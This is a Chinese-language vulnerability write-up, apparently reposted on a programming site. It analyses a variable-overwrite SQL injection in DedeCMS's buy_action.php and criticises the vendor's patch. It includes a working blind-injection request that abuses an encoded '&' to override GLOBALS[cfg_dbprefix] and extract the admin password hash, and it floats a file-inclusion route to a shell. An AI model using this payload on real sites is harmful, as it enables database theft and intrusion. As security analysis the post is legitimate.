好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

DedeCMS某全版本通杀SQL注入(续) - 网站安全 - 自

0x00 前言

不可否认,官方应对安全 漏洞 的能力以及这次发布的安全补丁也是十分的失败的!

大家再回来看看:  http://www.2cto.com/Article/201405/304272.html  (文章:   http://www.2cto.com/Article/201403/282443.html ) 分析,确实是很黄很暴力!

但:大家再看看,造成这次漏洞的原因是加密太简单?分析这个漏洞的人也是傻眼了吧?补丁是否能真正解决问题?下面我们来分析下看看。

 

0x01 漏洞分析

 

回头看buy_action.php 这个文件(修复版)。

 

代码 25行

 

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); foreach($mch_Post as $k => $v) $$k = $v;

 

 

 

 

很明显,造成这次漏洞的原因是变更覆盖。

 

但官方修复却是 加强mchStrCode函数的加密强度。

 

 

 

我们再看调用:mchStrCode 的地方

 

 

 

同文件的 112 行

 

$pr_encode = ''; foreach($_REQUEST as $key => $val) { $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val"; } $pr_encode = str_replace('=', '', mchStrCode($pr_encode));

 

 

 

傻了,这 $key 和 $val 都可以控制呀。。

 

如果可以直接传入

 

GLOBALS[cfg_dbprefix] 不就可以造成变量覆盖了吗?

 

但了解dede的人都知道,在文件:include/common.inc.php 有全局过滤 GLOBALS 开头键、值的过滤函数,绕过这个好像比较登天还要难吧!

 

但实际上,&$key=$val 这样的拼接,还可以值里输入 &a=x 这样的呀,解释后不就可以利用了么?

 

 

 

0x02 漏洞测试

 

此处是一个盲注,为了测试方便,我们直接修复执行语句的文件,打印出执行的语句:

 

echo $this->queryString."<br>"; http://localhost/member/buy_action.php? POST pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'`

 

 

 

注意到 %26 即 &

 

然后点击购买并支付

 

 

可以看到语句被成功地注入到查询中。

 

根据回应不同,我们可以盲注成 数据库 中的数据。

 

 

 

0x03 漏洞深入分析

 

128行

$rs = $dsql->GetOne("SELECT * FROM `detest_payment` WHERE id='$paytype' "); require_once DEDEINC.'/payment/'.$rs['code'].'.php';

 

 

 

如果覆盖变量 $paytype ,可以造成本地文件包含?通过包含文件是否就能拿shell了?

 

不难发现 parse_str 受GPC控制,利用条件也就是GPC OFF

 

 

 

测试之

 

拿shell方法暂不研究了,有兴趣的可以继续。

 

 

 

0x04 总结

 

有时漏洞点一个,但利用方式很多,把主要造成漏洞的地方修复了,才是真正的修复,而不是看别人指那就修复那。

 

修复方案:

变量覆盖的地方。

查看更多关于DedeCMS某全版本通杀SQL注入(续) - 网站安全 - 自的详细内容...

  阅读:111次